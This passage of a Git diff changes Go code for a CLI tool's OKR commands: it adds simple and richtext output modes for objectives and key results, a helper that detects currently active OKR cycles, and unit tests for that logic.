+				respKRs := make([]RespKeyResultSimple, 0, len(keyResults))
+				for j := range keyResults {
+					if r := keyResults[j].ToSimple(); r != nil {
+						respKRs = append(respKRs, *r)
 					}
-					var kr KeyResult
-					if err := json.Unmarshal(raw, &kr); err != nil {
-						continue
+				}
+				respObj.KeyResults = respKRs
+				respObjectives = append(respObjectives, respObj)
+			}
+
+			result := map[string]interface{}{
+				"cycle_id":   cycleID,
+				"objectives": respObjectives,
+				"total":      len(respObjectives),
+				"style":      style,
+			}
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Cycle %s: %d objective(s) (style: %s)\n", cycleID, len(respObjectives), style)
+				for _, o := range respObjectives {
+					contentText := ""
+					if o.Content != nil {
+						contentText = o.Content.Text
 					}
-					keyResults = append(keyResults, kr)
+					notesText := ""
+					if o.Notes != nil {
+						notesText = o.Notes.Text
+					}
+					fmt.Fprintf(w, "Objective [%s]: %s \n Notes: %s \n score=%.2f weight=%.2f\n", o.ID, contentText, notesText, ptrFloat64(o.Score), ptrFloat64(o.Weight))
+					for _, kr := range o.KeyResults {
+						krText := ""
+						if kr.Content != nil {
+							krText = kr.Content.Text
+						}
+						fmt.Fprintf(w, "  - KR [%s]: %s \n score=%.2f weight=%.2f\n", kr.ID, krText, ptrFloat64(kr.Score), ptrFloat64(kr.Weight))
+					}
+				}
+			})
+		} else {
+			// richtext mode
+			respObjectives := make([]*RespObjective, 0, len(objectives))
+			for i := range objectives {
+				if err := ctx.Err(); err != nil {
+					return err
+				}
+				obj := &objectives[i]
+
+				keyResults, err := fetchKeyResults(ctx, runtime, obj.ID)
+				if err != nil {
+					return err
 				}
 
-				hasMore, pageToken := common.PaginationMeta(data)
-				if !hasMore || pageToken == "" {
-					break
+				respObj := obj.ToResp()
+				if respObj == nil {
+					continue
 				}
-				krQuery["page_token"] = pageToken
+				respKRs := make([]RespKeyResult, 0, len(keyResults))
+				for j := range keyResults {
+					if r := keyResults[j].ToResp(); r != nil {
+						respKRs = append(respKRs, *r)
+					}
+				}
+				respObj.KeyResults = respKRs
+				respObjectives = append(respObjectives, respObj)
 			}
 
-			respObj := obj.ToResp()
-			if respObj == nil {
-				continue
+			result := map[string]interface{}{
+				"cycle_id":   cycleID,
+				"objectives": respObjectives,
+				"total":      len(respObjectives),
+				"style":      style,
 			}
-			respKRs := make([]RespKeyResult, 0, len(keyResults))
-			for j := range keyResults {
-				if r := keyResults[j].ToResp(); r != nil {
-					respKRs = append(respKRs, *r)
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Cycle %s: %d objective(s) (style: %s)\n", cycleID, len(respObjectives), style)
+				for _, o := range respObjectives {
+					fmt.Fprintf(w, "Objective [%s]: %s \n Notes: %s \n score=%.2f weight=%.2f\n", o.ID, ptrStr(o.Content), ptrStr(o.Notes), ptrFloat64(o.Score), ptrFloat64(o.Weight))
+					for _, kr := range o.KeyResults {
+						fmt.Fprintf(w, "  - KR [%s]: %s \n score=%.2f weight=%.2f\n", kr.ID, ptrStr(kr.Content), ptrFloat64(kr.Score), ptrFloat64(kr.Weight))
+					}
 				}
-			}
-			respObj.KeyResults = respKRs
-			respObjectives = append(respObjectives, respObj)
+			})
 		}
-
-		result := map[string]interface{}{
-			"cycle_id":   cycleID,
-			"objectives": respObjectives,
-			"total":      len(respObjectives),
-		}
-
-		runtime.OutFormat(result, nil, func(w io.Writer) {
-			fmt.Fprintf(w, "Cycle %s: %d objective(s)\n", cycleID, len(respObjectives))
-			for _, o := range respObjectives {
-				fmt.Fprintf(w, "Objective [%s]: %s \n Notes: %s \n score=%.2f weight=%.2f\n", o.ID, ptrStr(o.Content), ptrStr(o.Notes), ptrFloat64(o.Score), ptrFloat64(o.Weight))
-				for _, kr := range o.KeyResults {
-					fmt.Fprintf(w, "  - KR [%s]: %s \n score=%.2f weight=%.2f\n", kr.ID, ptrStr(kr.Content), ptrFloat64(kr.Score), ptrFloat64(kr.Weight))
-				}
-			}
-		})
 		return nil
 	},
 }

shortcuts/okr/okr_cycle_list.go

@@ -46,12 +46,38 @@ func cycleOverlaps(cycle *Cycle, rangeStart, rangeEnd time.Time) bool {
 	if err1 != nil || err2 != nil {
 		return false
 	}
-	cycleStart := time.UnixMilli(startMs)
-	cycleEnd := time.UnixMilli(endMs)
+	cycleStart := time.UnixMilli(startMs).UTC()
+	cycleEnd := time.UnixMilli(endMs).UTC()
 	// Two ranges overlap iff one starts before the other ends
 	return !cycleStart.After(rangeEnd) && !cycleEnd.Before(rangeStart)
 }
 
+// isCurrentActiveCycle checks whether a cycle is currently active:
+// - current time is within the cycle's start and end time
+// - cycle status is default (0) or normal (1)
+func isCurrentActiveCycle(cycle *Cycle, now time.Time) bool {
+	startMs, err1 := strconv.ParseInt(cycle.StartTime, 10, 64)
+	endMs, err2 := strconv.ParseInt(cycle.EndTime, 10, 64)
+	if err1 != nil || err2 != nil {
+		return false
+	}
+	cycleStart := time.UnixMilli(startMs).UTC()
+	cycleEnd := time.UnixMilli(endMs).UTC()
+	nowUTC := now.UTC()
+
+	// Check time range: now must be >= start and <= end
+	if nowUTC.Before(cycleStart) || nowUTC.After(cycleEnd) {
+		return false
+	}
+
+	// Check status: must be default or normal
+	if cycle.CycleStatus == nil {
+		return false
+	}
+	status := *cycle.CycleStatus
+	return status == CycleStatusDefault || status == CycleStatusNormal
+}
+
 var OKRListCycles = common.Shortcut{
 	Service:     "okr",
 	Command:     "+cycle-list",
@@ -175,14 +201,30 @@ var OKRListCycles = common.Shortcut{
 			respCycles = append(respCycles, filtered[i].ToResp())
 		}
 
+		// Filter current active cycles
+		now := time.Now()
+		currentActiveCycles := make([]*RespCycle, 0)
+		for i := range filtered {
+			if isCurrentActiveCycle(&filtered[i], now) {
+				currentActiveCycles = append(currentActiveCycles, filtered[i].ToResp())
+			}
+		}
+
 		runtime.OutFormat(map[string]interface{}{
-			"cycles": respCycles,
-			"total":  len(respCycles),
+			"cycles":                respCycles,
+			"total":                 len(respCycles),
+			"current_active_cycles": currentActiveCycles,
 		}, nil, func(w io.Writer) {
 			fmt.Fprintf(w, "Found %d cycle(s)\n", len(respCycles))
 			for _, c := range respCycles {
 				fmt.Fprintf(w, "  [%s] %s ~ %s (status: %s)\n", c.ID, c.StartTime, c.EndTime, ptrStr(c.CycleStatus))
 			}
+			if len(currentActiveCycles) > 0 {
+				fmt.Fprintf(w, "\nCurrent active cycle(s):\n")
+				for _, c := range currentActiveCycles {
+					fmt.Fprintf(w, "  [%s] %s ~ %s\n", c.ID, c.StartTime, c.EndTime)
+				}
+			}
 		})
 		return nil
 	},

shortcuts/okr/okr_cycle_list_test.go

@@ -5,8 +5,10 @@ package okr
 
 import (
 	"bytes"
+	"strconv"
 	"strings"
 	"testing"
+	"time"
 
 	"github.com/spf13/cobra"
 
@@ -260,11 +262,156 @@ func TestCycleListExecute_NoCycles(t *testing.T) {
 	if len(cycles) != 0 {
 		t.Fatalf("cycles = %v, want empty", cycles)
 	}
+	// Assert current_active_cycles field exists and is a slice
+	rawCurrentActive, ok := data["current_active_cycles"]
+	if !ok {
+		t.Fatal("current_active_cycles field is missing from response")
+	}
+	currentActive, ok := rawCurrentActive.([]interface{})
+	if !ok {
+		t.Fatalf("current_active_cycles is not a slice, got %T", rawCurrentActive)
+	}
+	if len(currentActive) != 0 {
+		t.Fatalf("current_active_cycles = %v, want empty", currentActive)
+	}
+}
+
+// --- isCurrentActiveCycle unit tests ---
+
+func TestIsCurrentActiveCycle(t *testing.T) {
+	t.Parallel()
+	now := time.Date(2026, 6, 29, 12, 0, 0, 0, time.UTC)
+
+	tests := []struct {
+		name     string
+		cycle    *Cycle
+		expected bool
+	}{
+		{
+			name: "active cycle with normal status",
+			cycle: &Cycle{
+				ID:          "c1",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31 23:59:59
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: true,
+		},
+		{
+			name: "active cycle with default status",
+			cycle: &Cycle{
+				ID:          "c2",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusDefault.Ptr(),
+			},
+			expected: true,
+		},
+		{
+			name: "cycle with invalid status",
+			cycle: &Cycle{
+				ID:          "c3",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusInvalid.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "cycle with hidden status",
+			cycle: &Cycle{
+				ID:          "c4",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusHidden.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "past cycle",
+			cycle: &Cycle{
+				ID:          "c5",
+				StartTime:   "1704067200000", // 2024-01-01
+				EndTime:     "1719791999999", // 2024-06-30
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "future cycle",
+			cycle: &Cycle{
+				ID:          "c6",
+				StartTime:   "1830297600000", // 2028-01-01
+				EndTime:     "1861833599999", // 2028-12-31
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "nil cycle status",
+			cycle: &Cycle{
+				ID:          "c7",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: nil,
+			},
+			expected: false,
+		},
+		{
+			name: "invalid start time",
+			cycle: &Cycle{
+				ID:          "c8",
+				StartTime:   "invalid",
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "exact start time boundary",
+			cycle: &Cycle{
+				ID:          "c9",
+				StartTime:   "1782734400000", // 2026-06-29 12:00:00 UTC
+				EndTime:     "1798761599000", // 2026-12-31 23:59:59 UTC
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: true,
+		},
+		{
+			name: "exact end time boundary",
+			cycle: &Cycle{
+				ID:          "c10",
+				StartTime:   "1767225600000", // 2026-01-01 00:00:00 UTC
+				EndTime:     "1782734400000", // 2026-06-29 12:00:00 UTC
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := isCurrentActiveCycle(tt.cycle, now)
+			if result != tt.expected {
+				t.Fatalf("isCurrentActiveCycle() = %v, want %v", result, tt.expected)
+			}
+		})
+	}
 }
 
 func TestCycleListExecute_WithCycles(t *testing.T) {
 	t.Parallel()
 	f, stdout, _, reg := cmdutil.TestFactory(t, cycleListTestConfig(t))
+
+	// Calculate timestamps relative to now to avoid test expiration
+	now := time.Now().UTC()
+	// Active cycle: 6 months before to 6 months after now
+	activeStartMs := now.AddDate(0, -6, 0).UnixMilli()
+	activeEndMs := now.AddDate(0, 6, 0).UnixMilli()
+	// Past cycle: 2 years before to 1.5 years before now
+	pastStartMs := now.AddDate(-2, 0, 0).UnixMilli()
+	pastEndMs := now.AddDate(-1, -6, 0).UnixMilli()
+
 	reg.Register(&httpmock.Stub{
 		Method: "GET",
 		URL:    "/open-apis/okr/v2/cycles",
@@ -274,19 +421,19 @@ func TestCycleListExecute_WithCycles(t *testing.T) {
 			"data": map[string]interface{}{
 				"items": []interface{}{
 					map[string]interface{}{
-						"id":              "cycle-1",
-						"start_time":      "1735689600000",
-						"end_time":        "1751318400000",
-						"cycle_status":    1,
+						"id":              "cycle-active",
+						"start_time":      strconv.FormatInt(activeStartMs, 10),
+						"end_time":        strconv.FormatInt(activeEndMs, 10),
+						"cycle_status":    1, // normal
 						"owner":           map[string]interface{}{"owner_type": "user", "user_id": "ou-1"},
 						"tenant_cycle_id": "tc-1",
 						"score":           0.75,
 					},
 					map[string]interface{}{
-						"id":              "cycle-2",
-						"start_time":      "1704067200000",
-						"end_time":        "1719792000000",
-						"cycle_status":    2,
+						"id":              "cycle-past",
+						"start_time":      strconv.FormatInt(pastStartMs, 10),
+						"end_time":        strconv.FormatInt(pastEndMs, 10),
+						"cycle_status":    2, // invalid
 						"owner":           map[string]interface{}{"owner_type": "user", "user_id": "ou-1"},
 						"tenant_cycle_id": "tc-2",
 						"score":           0.5,
@@ -311,6 +458,46 @@ func TestCycleListExecute_WithCycles(t *testing.T) {
 	if int(total) != 2 {
 		t.Fatalf("total = %v, want 2", total)
 	}
+
+	// Check current_active_cycles - should only contain cycle-active
+	rawCurrentActive, ok := data["current_active_cycles"]
+	if !ok {
+		t.Fatal("current_active_cycles field is missing from response")
+	}
+	currentActive, ok := rawCurrentActive.([]interface{})
+	if !ok {
+		t.Fatalf("current_active_cycles is not a slice, got %T", rawCurrentActive)
+	}
+	if len(currentActive) != 1 {
+		t.Fatalf("current_active_cycles count = %d, want 1", len(currentActive))
+	}
+	activeCycle, ok := currentActive[0].(map[string]interface{})
+	if !ok {
+		t.Fatalf("current_active_cycles[0] is not a map, got %T", currentActive[0])
+	}
+	if activeCycle["id"] != "cycle-active" {
+		t.Fatalf("current_active_cycles[0].id = %v, want cycle-active", activeCycle["id"])
+	}
+
+	// Verify removed fields are not present in the response
+	for _, c := range cycles {
+		cycleMap, _ := c.(map[string]interface{})
+		if _, ok := cycleMap["create_time"]; ok {
+			t.Fatal("create_time should not be present in response")
+		}
+		if _, ok := cycleMap["update_time"]; ok {
+			t.Fatal("update_time should not be present in response")
+		}
+		if _, ok := cycleMap["tenant_cycle_id"]; ok {
+			t.Fatal("tenant_cycle_id should not be present in response")
+		}
+		if _, ok := cycleMap["owner"]; ok {
+			t.Fatal("owner should not be present in response")
+		}
+		if _, ok := cycleMap["score"]; ok {
+			t.Fatal("score should not be present in response")
+		}
+	}
 }
 
 func TestCycleListExecute_WithTimeRangeFilter(t *testing.T) {